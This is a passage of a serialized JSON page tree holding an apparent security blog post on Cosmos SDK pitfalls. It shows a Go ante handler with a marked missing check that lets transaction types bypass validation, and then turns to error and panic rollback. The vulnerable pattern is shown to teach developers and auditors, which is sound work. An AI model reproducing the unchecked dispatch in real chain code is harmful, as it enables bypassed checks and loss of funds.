channelkeeper",{"type":23,"tag":314,"props":79190,"children":79191},{"style":338},[79192],{"type":28,"value":282},{"type":23,"tag":314,"props":79194,"children":79195},{"style":2674},[79196],{"type":28,"value":79197},"Keeper",{"type":23,"tag":314,"props":79199,"children":79200},{"style":338},[79201],{"type":28,"value":1870},{"type":23,"tag":314,"props":79203,"children":79204},{"class":316,"line":1208},[79205,79210,79215,79219,79223],{"type":23,"tag":314,"props":79206,"children":79207},{"style":360},[79208],{"type":28,"value":79209}," signModeHandler",{"type":23,"tag":314,"props":79211,"children":79212},{"style":2674},[79213],{"type":28,"value":79214}," authsigning",{"type":23,"tag":314,"props":79216,"children":79217},{"style":338},[79218],{"type":28,"value":282},{"type":23,"tag":314,"props":79220,"children":79221},{"style":2674},[79222],{"type":28,"value":78891},{"type":23,"tag":314,"props":79224,"children":79225},{"style":338},[79226],{"type":28,"value":1870},{"type":23,"tag":314,"props":79228,"children":79229},{"class":316,"line":1216},[79230,79234,79238,79242,79246],{"type":23,"tag":314,"props":79231,"children":79232},{"style":338},[79233],{"type":28,"value":2343},{"type":23,"tag":314,"props":79235,"children":79236},{"style":2674},[79237],{"type":28,"value":77982},{"type":23,"tag":314,"props":79239,"children":79240},{"style":338},[79241],{"type":28,"value":282},{"type":23,"tag":314,"props":79243,"children":79244},{"style":2674},[79245],{"type":28,"value":77722},{"type":23,"tag":314,"props":79247,"children":79248},{"style":338},[79249],{"type":28,"value":1449},{"type":23,"tag":314,"props":79251,"children":79252},{"class":316,"line":1301},[79253,79257,79262],{"type":23,"tag":314,"props":79254,"children":79255},{"style":2284},[79256],{"type":28,"value":16228},{"type":23,"tag":314,"props":79258,"children":79259},{"style":321},[79260],{"type":28,"value":79261}," func",{"type":23,"tag":314,"props":79263,"children":79264},{"style":338},[79265],{"type":28,"value":2719},{"type":23,"tag":314,"props":79267,"children":79268},{"class":316,"line":1343},[79269,79273,79277,79281,79285,79289,79293,79297,79301,79305,79309,79314,79318],{"type":23,"tag":314,"props":79270,"children":79271},{"style":360},[79272],{"type":28,"value":25432},{"type":23,"tag":314,"props":79274,"children":79275},{"style":2674},[79276],{"type":28,"value":77893},{"type":23,"tag":314,"props":79278,"children":79279},{"style":338},[79280],{"type":28,"value":282},{"type":23,"tag":314,"props":79282,"children":79283},{"style":2674},[79284],{"type":28,"value":75602},{"type":23,"tag":314,"props":79286,"children":79287},{"style":338},[79288],{"type":28,"value":778},{"type":23,"tag":314,"props":79290,"children":79291},{"style":360},[79292],{"type":28,"value":78433},{"type":23,"tag":314,"props":79294,"children":79295},{"style":2674},[79296],{"type":28,"value":77893},{"type":23,"tag":314,"props":79298,"children":79299},{"style":338},[79300],{"type":28,"value":282},{"type":23,"tag":314,"props":79302,"children":79303},{"style":2674},[79304],{"type":28,"value":77926},{"type":23,"tag":314,"props":79306,"children":79307},{"style":338},[79308],{"type":28,"value":778},{"type":23,"tag":314,"props":79310,"children":79311},{"style":360},[79312],{"type":28,"value":79313},"sim",{"type":23,"tag":314,"props":79315,"children":79316},{"style":2674},[79317],{"type":28,"value":11298},{"type":23,"tag":314,"props":79319,"children":79320},{"style":338},[79321],{"type":28,"value":1870},{"type":23,"tag":314,"props":79323,"children":79324},{"class":316,"line":1351},[79325,79330,79335,79339,79343,79347,79351,79355,79359],{"type":23,"tag":314,"props":79326,"children":79327},{"style":338},[79328],{"type":28,"value":79329}," ) (",{"type":23,"tag":314,"props":79331,"children":79332},{"style":360},[79333],{"type":28,"value":79334},"newCtx",{"type":23,"tag":314,"props":79336,"children":79337},{"style":2674},[79338],{"type":28,"value":77893},{"type":23,"tag":314,"props":79340,"children":79341},{"style":338},[79342],{"type":28,"value":282},{"type":23,"tag":314,"props":79344,"children":79345},{"style":2674},[79346],{"type":28,"value":75602},{"type":23,"tag":314,"props":79348,"children":79349},{"style":338},[79350],{"type":28,"value":778},{"type":23,"tag":314,"props":79352,"children":79353},{"style":360},[79354],{"type":28,"value":47670},{"type":23,"tag":314,"props":79356,"children":79357},{"style":2674},[79358],{"type":28,"value":14119},{"type":23,"tag":314,"props":79360,"children":79361},{"style":338},[79362],{"type":28,"value":367},{"type":23,"tag":314,"props":79364,"children":79365},{"class":316,"line":1387},[79366,79371,79376,79380,79384],{"type":23,"tag":314,"props":79367,"children":79368},{"style":321},[79369],{"type":28,"value":79370}," var",{"type":23,"tag":314,"props":79372,"children":79373},{"style":360},[79374],{"type":28,"value":79375}," anteHandler",{"type":23,"tag":314,"props":79377,"children":79378},{"style":2674},[79379],{"type":28,"value":77893},{"type":23,"tag":314,"props":79381,"children":79382},{"style":338},[79383],{"type":28,"value":282},{"type":23,"tag":314,"props":79385,"children":79386},{"style":2674},[79387],{"type":28,"value":79388},"AnteHandler\n",{"type":23,"tag":314,"props":79390,"children":79391},{"class":316,"line":1422},[79392],{"type":23,"tag":314,"props":79393,"children":79394},{"emptyLinePlaceholder":18},[79395],{"type":28,"value":1088},{"type":23,"tag":314,"props":79397,"children":79398},{"class":316,"line":1430},[79399,79404,79409,79413,79417,79421,79426,79430,79434,79438],{"type":23,"tag":314,"props":79400,"children":79401},{"style":2284},[79402],{"type":28,"value":79403}," defer",{"type":23,"tag":314,"props":79405,"children":79406},{"style":332},[79407],{"type":28,"value":79408}," Recover",{"type":23,"tag":314,"props":79410,"children":79411},{"style":338},[79412],{"type":28,"value":341},{"type":23,"tag":314,"props":79414,"children":79415},{"style":360},[79416],{"type":28,"value":19518},{"type":23,"tag":314,"props":79418,"children":79419},{"style":338},[79420],{"type":28,"value":282},{"type":23,"tag":314,"props":79422,"children":79423},{"style":332},[79424],{"type":28,"value":79425},"Logger",{"type":23,"tag":314,"props":79427,"children":79428},{"style":338},[79429],{"type":28,"value":17613},{"type":23,"tag":314,"props":79431,"children":79432},{"style":354},[79433],{"type":28,"value":1833},{"type":23,"tag":314,"props":79435,"children":79436},{"style":360},[79437],{"type":28,"value":47670},{"type":23,"tag":314,"props":79439,"children":79440},{"style":338},[79441],{"type":28,"value":2414},{"type":23,"tag":314,"props":79443,"children":79444},{"class":316,"line":1452},[79445],{"type":23,"tag":314,"props":79446,"children":79447},{"emptyLinePlaceholder":18},[79448],{"type":28,"value":1088},{"type":23,"tag":314,"props":79450,"children":79451},{"class":316,"line":1497},[79452,79457,79461,79465,79469,79473,79477,79482,79486,79491],{"type":23,"tag":314,"props":79453,"children":79454},{"style":360},[79455],{"type":28,"value":79456}," txWithExtensions",{"type":23,"tag":314,"props":79458,"children":79459},{"style":338},[79460],{"type":28,"value":778},{"type":23,"tag":314,"props":79462,"children":79463},{"style":360},[79464],{"type":28,"value":78019},{"type":23,"tag":314,"props":79466,"children":79467},{"style":354},[79468],{"type":28,"value":75669},{"type":23,"tag":314,"props":79470,"children":79471},{"style":360},[79472],{"type":28,"value":67281},{"type":23,"tag":314,"props":79474,"children":79475},{"style":338},[79476],{"type":28,"value":78032},{"type":23,"tag":314,"props":79478,"children":79479},{"style":2674},[79480],{"type":28,"value":79481},"authante",{"type":23,"tag":314,"props":79483,"children":79484},{"style":338},[79485],{"type":28,"value":282},{"type":23,"tag":314,"props":79487,"children":79488},{"style":2674},[79489],{"type":28,"value":79490},"HasExtensionOptionsTx",{"type":23,"tag":314,"props":79492,"children":79493},{"style":338},[79494],{"type":28,"value":2414},{"type":23,"tag":314,"props":79496,"children":79497},{"class":316,"line":1539},[79498,79502,79507],{"type":23,"tag":314,"props":79499,"children":79500},{"style":2284},[79501],{"type":28,"value":2527},{"type":23,"tag":314,"props":79503,"children":79504},{"style":360},[79505],{"type":28,"value":79506}," ok",{"type":23,"tag":314,"props":79508,"children":79509},{"style":338},[79510],{"type":28,"value":1449},{"type":23,"tag":314,"props":79512,"children":79513},{"class":316,"line":1548},[79514,79519,79523,79528,79532,79537],{"type":23,"tag":314,"props":79515,"children":79516},{"style":360},[79517],{"type":28,"value":79518}," opts",{"type":23,"tag":314,"props":79520,"children":79521},{"style":354},[79522],{"type":28,"value":75669},{"type":23,"tag":314,"props":79524,"children":79525},{"style":360},[79526],{"type":28,"value":79527}," txWithExtensions",{"type":23,"tag":314,"props":79529,"children":79530},{"style":338},[79531],{"type":28,"value":282},{"type":23,"tag":314,"props":79533,"children":79534},{"style":332},[79535],{"type":28,"value":79536},"GetExtensionOptions",{"type":23,"tag":314,"props":79538,"children":79539},{"style":338},[79540],{"type":28,"value":6990},{"type":23,"tag":314,"props":79542,"children":79543},{"class":316,"line":1584},[79544,79548,79552,79556,79560,79564,79568,79572],{"type":23,"tag":314,"props":79545,"children":79546},{"style":2284},[79547],{"type":28,"value":58052},{"type":23,"tag":314,"props":79549,"children":79550},{"style":332},[79551],{"type":28,"value":7810},{"type":23,"tag":314,"props":79553,"children":79554},{"style":338},[79555],{"type":28,"value":341},{"type":23,"tag":314,"props":79557,"children":79558},{"style":360},[79559],{"type":28,"value":47812},{"type":23,"tag":314,"props":79561,"children":79562},{"style":338},[79563],{"type":28,"value":2343},{"type":23,"tag":314,"props":79565,"children":79566},{"style":354},[79567],{"type":28,"value":9710},{"type":23,"tag":314,"props":79569,"children":79570},{"style":1054},[79571],{"type":28,"value":1201},{"type":23,"tag":314,"props":79573,"children":79574},{"style":338},[79575],{"type":28,"value":1449},{"type":23,"tag":314,"props":79577,"children":79578},{"class":316,"line":1617},[79579,79584,79589,79593,79598,79602,79606,79610,79615,79619,79624],{"type":23,"tag":314,"props":79580,"children":79581},{"style":2284},[79582],{"type":28,"value":79583}," switch",{"type":23,"tag":314,"props":79585,"children":79586},{"style":360},[79587],{"type":28,"value":79588}," typeURL",{"type":23,"tag":314,"props":79590,"children":79591},{"style":354},[79592],{"type":28,"value":75669},{"type":23,"tag":314,"props":79594,"children":79595},{"style":360},[79596],{"type":28,"value":79597}," opts",{"type":23,"tag":314,"props":79599,"children":79600},{"style":338},[79601],{"type":28,"value":1312},{"type":23,"tag":314,"props":79603,"children":79604},{"style":1054},[79605],{"type":28,"value":1600},{"type":23,"tag":314,"props":79607,"children":79608},{"style":338},[79609],{"type":28,"value":49599},{"type":23,"tag":314,"props":79611,"children":79612},{"style":332},[79613],{"type":28,"value":79614},"GetTypeUrl",{"type":23,"tag":314,"props":79616,"children":79617},{"style":338},[79618],{"type":28,"value":27695},{"type":23,"tag":314,"props":79620,"children":79621},{"style":360},[79622],{"type":28,"value":79623},"typeURL",{"type":23,"tag":314,"props":79625,"children":79626},{"style":338},[79627],{"type":28,"value":1449},{"type":23,"tag":314,"props":79629,"children":79630},{"class":316,"line":1625},[79631,79636,79641],{"type":23,"tag":314,"props":79632,"children":79633},{"style":2284},[79634],{"type":28,"value":79635}," case",{"type":23,"tag":314,"props":79637,"children":79638},{"style":1245},[79639],{"type":28,"value":79640}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":23,"tag":314,"props":79642,"children":79643},{"style":338},[79644],{"type":28,"value":4822},{"type":23,"tag":314,"props":79646,"children":79647},{"class":316,"line":1660},[79648],{"type":23,"tag":314,"props":79649,"children":79650},{"style":374},[79651],{"type":28,"value":79652}," // handle as *evmtypes.MsgEthereumTx\n",{"type":23,"tag":314,"props":79654,"children":79655},{"class":316,"line":1708},[79656],{"type":23,"tag":314,"props":79657,"children":79658},{"emptyLinePlaceholder":18},[79659],{"type":28,"value":1088},{"type":23,"tag":314,"props":79661,"children":79662},{"class":316,"line":1743},[79663,79668,79672,79676,79680,79685],{"type":23,"tag":314,"props":79664,"children":79665},{"style":360},[79666],{"type":28,"value":79667}," anteHandler",{"type":23,"tag":314,"props":79669,"children":79670},{"style":354},[79671],{"type":28,"value":1237},{"type":23,"tag":314,"props":79673,"children":79674},{"style":360},[79675],{"type":28,"value":77893},{"type":23,"tag":314,"props":79677,"children":79678},{"style":338},[79679],{"type":28,"value":282},{"type":23,"tag":314,"props":79681,"children":79682},{"style":332},[79683],{"type":28,"value":79684},"ChainAnteDecorators",{"type":23,"tag":314,"props":79686,"children":79687},{"style":338},[79688],{"type":28,"value":2719},{"type":23,"tag":314,"props":79690,"children":79691},{"class":316,"line":1751},[79692,79697,79701],{"type":23,"tag":314,"props":79693,"children":79694},{"style":332},[79695],{"type":28,"value":79696}," NewEthSetUpContextDecorator",{"type":23,"tag":314,"props":79698,"children":79699},{"style":338},[79700],{"type":28,"value":17613},{"type":23,"tag":314,"props":79702,"children":79703},{"style":374},[79704],{"type":28,"value":78547},{"type":23,"tag":314,"props":79706,"children":79707},{"class":316,"line":1791},[79708],{"type":23,"tag":314,"props":79709,"children":79710},{"style":354},[79711],{"type":28,"value":79712}," ...\n",{"type":23,"tag":314,"props":79714,"children":79715},{"class":316,"line":1805},[79716,79721,79725,79730,79734],{"type":23,"tag":314,"props":79717,"children":79718},{"style":332},[79719],{"type":28,"value":79720}," NewEthIncrementSenderSequenceDecorator",{"type":23,"tag":314,"props":79722,"children":79723},{"style":338},[79724],{"type":28,"value":341},{"type":23,"tag":314,"props":79726,"children":79727},{"style":360},[79728],{"type":28,"value":79729},"ak",{"type":23,"tag":314,"props":79731,"children":79732},{"style":338},[79733],{"type":28,"value":14419},{"type":23,"tag":314,"props":79735,"children":79736},{"style":374},[79737],{"type":28,"value":79738},"// innermost AnteDecorator.\n",{"type":23,"tag":314,"props":79740,"children":79741},{"class":316,"line":1818},[79742],{"type":23,"tag":314,"props":79743,"children":79744},{"style":338},[79745],{"type":28,"value":79746}," )\n",{"type":23,"tag":314,"props":79748,"children":79749},{"class":316,"line":1873},[79750],{"type":23,"tag":314,"props":79751,"children":79752},{"emptyLinePlaceholder":18},[79753],{"type":28,"value":1088},{"type":23,"tag":314,"props":79755,"children":79756},{"class":316,"line":1891},[79757,79762],{"type":23,"tag":314,"props":79758,"children":79759},{"style":2284},[79760],{"type":28,"value":79761}," default",{"type":23,"tag":314,"props":79763,"children":79764},{"style":338},[79765],{"type":28,"value":4822},{"type":23,"tag":314,"props":79767,"children":79768},{"class":316,"line":1899},[79769,79774,79778,79782,79787,79791,79796],{"type":23,"tag":314,"props":79770,"children":79771},{"style":2284},[79772],{"type":28,"value":79773}," return",{"type":23,"tag":314,"props":79775,"children":79776},{"style":360},[79777],{"type":28,"value":25089},{"type":23,"tag":314,"props":79779,"children":79780},{"style":338},[79781],{"type":28,"value":778},{"type":23,"tag":314,"props":79783,"children":79784},{"style":360},[79785],{"type":28,"value":79786},"stacktrace",{"type":23,"tag":314,"props":79788,"children":79789},{"style":338},[79790],{"type":28,"value":282},{"type":23,"tag":314,"props":79792,"children":79793},{"style":332},[79794],{"type":28,"value":79795},"Propagate",{"type":23,"tag":314,"props":79797,"children":79798},{"style":338},[79799],{"type":28,"value":2719},{"type":23,"tag":314,"props":79801,"children":79802},{"class":316,"line":1944},[79803,79808,79812,79816,79820,79825,79829,79834,79838,79842],{"type":23,"tag":314,"props":79804,"children":79805},{"style":360},[79806],{"type":28,"value":79807}," sdkerrors",{"type":23,"tag":314,"props":79809,"children":79810},{"style":338},[79811],{"type":28,"value":282},{"type":23,"tag":314,"props":79813,"children":79814},{"style":332},[79815],{"type":28,"value":78098},{"type":23,"tag":314,"props":79817,"children":79818},{"style":338},[79819],{"type":28,"value":341},{"type":23,"tag":314,"props":79821,"children":79822},{"style":360},[79823],{"type":28,"value":79824},"sdkerrors",{"type":23,"tag":314,"props":79826,"children":79827},{"style":338},[79828],{"type":28,"value":282},{"type":23,"tag":314,"props":79830,"children":79831},{"style":360},[79832],{"type":28,"value":79833},"ErrUnknownExtensionOptions",{"type":23,"tag":314,"props":79835,"children":79836},{"style":338},[79837],{"type":28,"value":778},{"type":23,"tag":314,"props":79839,"children":79840},{"style":360},[79841],{"type":28,"value":79623},{"type":23,"tag":314,"props":79843,"children":79844},{"style":338},[79845],{"type":28,"value":5992},{"type":23,"tag":314,"props":79847,"children":79848},{"class":316,"line":2008},[79849,79854],{"type":23,"tag":314,"props":79850,"children":79851},{"style":1245},[79852],{"type":28,"value":79853}," \"rejecting tx with unsupported extension option\"",{"type":23,"tag":314,"props":79855,"children":79856},{"style":338},[79857],{"type":28,"value":1870},{"type":23,"tag":314,"props":79859,"children":79860},{"class":316,"line":2043},[79861],{"type":23,"tag":314,"props":79862,"children":79863},{"style":338},[79864],{"type":28,"value":79746},{"type":23,"tag":314,"props":79866,"children":79867},{"class":316,"line":22803},[79868],{"type":23,"tag":314,"props":79869,"children":79870},{"style":338},[79871],{"type":28,"value":70324},{"type":23,"tag":314,"props":79873,"children":79874},{"class":316,"line":22845},[79875],{"type":23,"tag":314,"props":79876,"children":79877},{"emptyLinePlaceholder":18},[79878],{"type":28,"value":1088},{"type":23,"tag":314,"props":79880,"children":79881},{"class":316,"line":22878},[79882,79886,79890,79894,79898,79902,79906,79910,79914],{"type":23,"tag":314,"props":79883,"children":79884},{"style":2284},[79885],{"type":28,"value":59980},{"type":23,"tag":314,"props":79887,"children":79888},{"style":332},[79889],{"type":28,"value":79375},{"type":23,"tag":314,"props":79891,"children":79892},{"style":338},[79893],{"type":28,"value":341},{"type":23,"tag":314,"props":79895,"children":79896},{"style":360},[79897],{"type":28,"value":19518},{"type":23,"tag":314,"props":79899,"children":79900},{"style":338},[79901],{"type":28,"value":778},{"type":23,"tag":314,"props":79903,"children":79904},{"style":360},[79905],{"type":28,"value":78433},{"type":23,"tag":314,"props":79907,"children":79908},{"style":338},[79909],{"type":28,"value":778},{"type":23,"tag":314,"props":79911,"children":79912},{"style":360},[79913],{"type":28,"value":79313},{"type":23,"tag":314,"props":79915,"children":79916},{"style":338},[79917],{"type":28,"value":2414},{"type":23,"tag":314,"props":79919,"children":79920},{"class":316,"line":22886},[79921],{"type":23,"tag":314,"props":79922,"children":79923},{"style":338},[79924],{"type":28,"value":58136},{"type":23,"tag":314,"props":79926,"children":79927},{"class":316,"line":22894},[79928],{"type":23,"tag":314,"props":79929,"children":79930},{"style":338},[79931],{"type":28,"value":2602},{"type":23,"tag":314,"props":79933,"children":79934},{"class":316,"line":22903},[79935],{"type":23,"tag":314,"props":79936,"children":79937},{"emptyLinePlaceholder":18},[79938],{"type":28,"value":1088},{"type":23,"tag":314,"props":79940,"children":79941},{"class":316,"line":22979},[79942],{"type":23,"tag":314,"props":79943,"children":79944},{"style":374},[79945],{"type":28,"value":79946}," // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":23,"tag":314,"props":79948,"children":79949},{"class":316,"line":23012},[79950],{"type":23,"tag":314,"props":79951,"children":79952},{"emptyLinePlaceholder":18},[79953],{"type":28,"value":1088},{"type":23,"tag":314,"props":79955,"children":79956},{"class":316,"line":23020},[79957,79962,79966,79970,79974],{"type":23,"tag":314,"props":79958,"children":79959},{"style":2284},[79960],{"type":28,"value":79961}," switch",{"type":23,"tag":314,"props":79963,"children":79964},{"style":360},[79965],{"type":28,"value":67281},{"type":23,"tag":314,"props":79967,"children":79968},{"style":338},[79969],{"type":28,"value":78032},{"type":23,"tag":314,"props":79971,"children":79972},{"style":321},[79973],{"type":28,"value":32004},{"type":23,"tag":314,"props":79975,"children":79976},{"style":338},[79977],{"type":28,"value":367},{"type":23,"tag":314,"props":79979,"children":79980},{"class":316,"line":23028},[79981,79986,79990,79994,79998],{"type":23,"tag":314,"props":79982,"children":79983},{"style":2284},[79984],{"type":28,"value":79985}," case",{"type":23,"tag":314,"props":79987,"children":79988},{"style":2674},[79989],{"type":28,"value":77893},{"type":23,"tag":314,"props":79991,"children":79992},{"style":338},[79993],{"type":28,"value":282},{"type":23,"tag":314,"props":79995,"children":79996},{"style":2674},[79997],{"type":28,"value":77926},{"type":23,"tag":314,"props":79999,"children":80000},{"style":338},[80001],{"type":28,"value":4822},{"type":23,"tag":314,"props":80003,"children":80004},{"class":316,"line":23065},[80005,80010,80014,80018,80022,80026],{"type":23,"tag":314,"props":80006,"children":80007},{"style":360},[80008],{"type":28,"value":80009}," anteHandler",{"type":23,"tag":314,"props":80011,"children":80012},{"style":354},[80013],{"type":28,"value":1237},{"type":23,"tag":314,"props":80015,"children":80016},{"style":360},[80017],{"type":28,"value":77893},{"type":23,"tag":314,"props":80019,"children":80020},{"style":338},[80021],{"type":28,"value":282},{"type":23,"tag":314,"props":80023,"children":80024},{"style":332},[80025],{"type":28,"value":79684},{"type":23,"tag":314,"props":80027,"children":80028},{"style":338},[80029],{"type":28,"value":2719},{"type":23,"tag":314,"props":80031,"children":80032},{"class":316,"line":23078},[80033,80038,80042,80047,80051],{"type":23,"tag":314,"props":80034,"children":80035},{"style":360},[80036],{"type":28,"value":80037}," authante",{"type":23,"tag":314,"props":80039,"children":80040},{"style":338},[80041],{"type":28,"value":282},{"type":23,"tag":314,"props":80043,"children":80044},{"style":332},[80045],{"type":28,"value":80046},"NewSetUpContextDecorator",{"type":23,"tag":314,"props":80048,"children":80049},{"style":338},[80050],{"type":28,"value":17613},{"type":23,"tag":314,"props":80052,"children":80053},{"style":374},[80054],{"type":28,"value":78547},{"type":23,"tag":314,"props":80056,"children":80057},{"class":316,"line":23091},[80058],{"type":23,"tag":314,"props":80059,"children":80060},{"style":354},[80061],{"type":28,"value":80062}," ...\n",{"type":23,"tag":314,"props":80064,"children":80065},{"class":316,"line":23104},[80066,80070,80074,80079,80083,80087,80091],{"type":23,"tag":314,"props":80067,"children":80068},{"style":360},[80069],{"type":28,"value":80037},{"type":23,"tag":314,"props":80071,"children":80072},{"style":338},[80073],{"type":28,"value":282},{"type":23,"tag":314,"props":80075,"children":80076},{"style":332},[80077],{"type":28,"value":80078},"NewIncrementSequenceDecorator",{"type":23,"tag":314,"props":80080,"children":80081},{"style":338},[80082],{"type":28,"value":341},{"type":23,"tag":314,"props":80084,"children":80085},{"style":360},[80086],{"type":28,"value":79729},{"type":23,"tag":314,"props":80088,"children":80089},{"style":338},[80090],{"type":28,"value":14419},{"type":23,"tag":314,"props":80092,"children":80093},{"style":374},[80094],{"type":28,"value":80095},"// innermost AnteDecorator\n",{"type":23,"tag":314,"props":80097,"children":80098},{"class":316,"line":23158},[80099],{"type":23,"tag":314,"props":80100,"children":80101},{"style":338},[80102],{"type":28,"value":76767},{"type":23,"tag":314,"props":80104,"children":80105},{"class":316,"line":23167},[80106,80111],{"type":23,"tag":314,"props":80107,"children":80108},{"style":2284},[80109],{"type":28,"value":80110}," default",{"type":23,"tag":314,"props":80112,"children":80113},{"style":338},[80114],{"type":28,"value":4822},{"type":23,"tag":314,"props":80116,"children":80117},{"class":316,"line":31528},[80118,80122,80126,80130,80134,80138,80142],{"type":23,"tag":314,"props":80119,"children":80120},{"style":2284},[80121],{"type":28,"value":78328},{"type":23,"tag":314,"props":80123,"children":80124},{"style":360},[80125],{"type":28,"value":25089},{"type":23,"tag":314,"props":80127,"children":80128},{"style":338},[80129],{"type":28,"value":778},{"type":23,"tag":314,"props":80131,"children":80132},{"style":360},[80133],{"type":28,"value":79786},{"type":23,"tag":314,"props":80135,"children":80136},{"style":338},[80137],{"type":28,"value":282},{"type":23,"tag":314,"props":80139,"children":80140},{"style":332},[80141],{"type":28,"value":79795},{"type":23,"tag":314,"props":80143,"children":80144},{"style":338},[80145],{"type":28,"value":2719},{"type":23,"tag":314,"props":80147,"children":80148},{"class":316,"line":31549},[80149,80154,80158,80163,80167,80171,80175,80180,80184,80189,80193,80197],{"type":23,"tag":314,"props":80150,"children":80151},{"style":360},[80152],{"type":28,"value":80153}," sdkerrors",{"type":23,"tag":314,"props":80155,"children":80156},{"style":338},[80157],{"type":28,"value":282},{"type":23,"tag":314,"props":80159,"children":80160},{"style":332},[80161],{"type":28,"value":80162},"Wrapf",{"type":23,"tag":314,"props":80164,"children":80165},{"style":338},[80166],{"type":28,"value":341},{"type":23,"tag":314,"props":80168,"children":80169},{"style":360},[80170],{"type":28,"value":79824},{"type":23,"tag":314,"props":80172,"children":80173},{"style":338},[80174],{"type":28,"value":282},{"type":23,"tag":314,"props":80176,"children":80177},{"style":360},[80178],{"type":28,"value":80179},"ErrUnknownRequest",{"type":23,"tag":314,"props":80181,"children":80182},{"style":338},[80183],{"type":28,"value":778},{"type":23,"tag":314,"props":80185,"children":80186},{"style":1245},[80187],{"type":28,"value":80188},"\"invalid transaction type: %T\"",{"type":23,"tag":314,"props":80190,"children":80191},{"style":338},[80192],{"type":28,"value":778},{"type":23,"tag":314,"props":80194,"children":80195},{"style":360},[80196],{"type":28,"value":78433},{"type":23,"tag":314,"props":80198,"children":80199},{"style":338},[80200],{"type":28,"value":5992},{"type":23,"tag":314,"props":80202,"children":80204},{"class":316,"line":80203},53,[80205,80210],{"type":23,"tag":314,"props":80206,"children":80207},{"style":1245},[80208],{"type":28,"value":80209}," \"transaction is not an SDK tx\"",{"type":23,"tag":314,"props":80211,"children":80212},{"style":338},[80213],{"type":28,"value":1870},{"type":23,"tag":314,"props":80215,"children":80217},{"class":316,"line":80216},54,[80218],{"type":23,"tag":314,"props":80219,"children":80220},{"style":338},[80221],{"type":28,"value":76767},{"type":23,"tag":314,"props":80223,"children":80225},{"class":316,"line":80224},55,[80226],{"type":23,"tag":314,"props":80227,"children":80228},{"style":338},[80229],{"type":28,"value":2602},{"type":23,"tag":314,"props":80231,"children":80233},{"class":316,"line":80232},56,[80234],{"type":23,"tag":314,"props":80235,"children":80236},{"emptyLinePlaceholder":18},[80237],{"type":28,"value":1088},{"type":23,"tag":314,"props":80239,"children":80241},{"class":316,"line":80240},57,[80242,80246,80250,80254,80258,80262,80266,80270,80274],{"type":23,"tag":314,"props":80243,"children":80244},{"style":2284},[80245],{"type":28,"value":14985},{"type":23,"tag":314,"props":80247,"children":80248},{"style":332},[80249],{"type":28,"value":79375},{"type":23,"tag":314,"props":80251,"children":80252},{"style":338},[80253],{"type":28,"value":341},{"type":23,"tag":314,"props":80255,"children":80256},{"style":360},[80257],{"type":28,"value":19518},{"type":23,"tag":314,"props":80259,"children":80260},{"style":338},[80261],{"type":28,"value":778},{"type":23,"tag":314,"props":80263,"children":80264},{"style":360},[80265],{"type":28,"value":78433},{"type":23,"tag":314,"props":80267,"children":80268},{"style":338},[80269],{"type":28,"value":778},{"type":23,"tag":314,"props":80271,"children":80272},{"style":360},[80273],{"type":28,"value":79313},{"type":23,"tag":314,"props":80275,"children":80276},{"style":338},[80277],{"type":28,"value":2414},{"type":23,"tag":314,"props":80279,"children":80281},{"class":316,"line":80280},58,[80282],{"type":23,"tag":314,"props":80283,"children":80284},{"style":338},[80285],{"type":28,"value":2610},{"type":23,"tag":314,"props":80287,"children":80289},{"class":316,"line":80288},59,[80290],{"type":23,"tag":314,"props":80291,"children":80292},{"style":338},[80293],{"type":28,"value":386},{"type":23,"tag":24,"props":80295,"children":80296},{},[80297,80299,80304,80306,80313,80314,80321],{"type":28,"value":80298},"Additional examples of incorrect ",{"type":23,"tag":94,"props":80300,"children":80302},{"className":80301},[],[80303],{"type":28,"value":77722},{"type":28,"value":80305}," usage include ",{"type":23,"tag":31,"props":80307,"children":80310},{"href":80308,"rel":80309},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[35],[80311],{"type":28,"value":80312},"yet more bypassable checks and loss of funds",{"type":28,"value":557},{"type":23,"tag":31,"props":80315,"children":80318},{"href":80316,"rel":80317},"https://github.com/cosmos/ibc-go/issues/853",[35],[80319],{"type":28,"value":80320},"incorrect data passing between blockchains",{"type":28,"value":282},{"type":23,"tag":61,"props":80323,"children":80325},{"id":80324},"errors-panics-i-can-handle-it",[80326],{"type":28,"value":80327},"Errors? Panics? I can handle it",{"type":23,"tag":24,"props":80329,"children":80330},{},[80331],{"type":28,"value":80332},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":23,"tag":24,"props":80334,"children":80335},{},[80336],{"type":28,"value":80337},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":23,"tag":24,"props":80339,"children":80340},{},[80341,80343,80349,80351,80356],{"type":28,"value":80342},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":23,"tag":94,"props":80344,"children":80346},{"className":80345},[],[80347],{"type":28,"value":80348},"k.keeper.TotalReward()",{"type":28,"value":80350}," returns zero, the ",{"type":23,"tag":94,"props":80352,"children":80354},{"className":80353},[],[80355],{"type":28,"value":57197},{"type":28,"value":80357}," execution will simply rollback as if nothing has happened.",{"type":23,"tag":304,"props":80359,"children":80361},{"code":80360,"language":75417,"meta":7,"className":75418,"style":7},"func (k msgServer) AllocateReward(\n goCtx context.Context,\n msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n RewardPerShare := k.keeper.Shares() / k.keeper.TotalReward()\n k.keeper.DistributeReward(RewardPerShare)\n\n return &types.MsgAllocateRewardResponse, nil\n}\n",[80362],{"type":23,"tag":94,"props":80363,"children":80364},{"__ignoreMap":7},[80365,80398,80421,80449,80485,80492,80561,80599,80606,80638],{"type":23,"tag":314,"props":80366,"children":80367},{"class":316,"line":317},[80368,80372,80376,80381,80385,80389,80394],{"type":23,"tag":314,"props":80369,"children":80370},{"style":321},[80371],{"type":28,"value":75553},{"type":23,"tag":314,"props":80373,"children":80374},{"style":338},[80375],{"type":28,"value":2324},{"type":23,"tag":314,"props":80377,"children":80378},{"style":360},[80379],{"type":28,"value":80380},"k 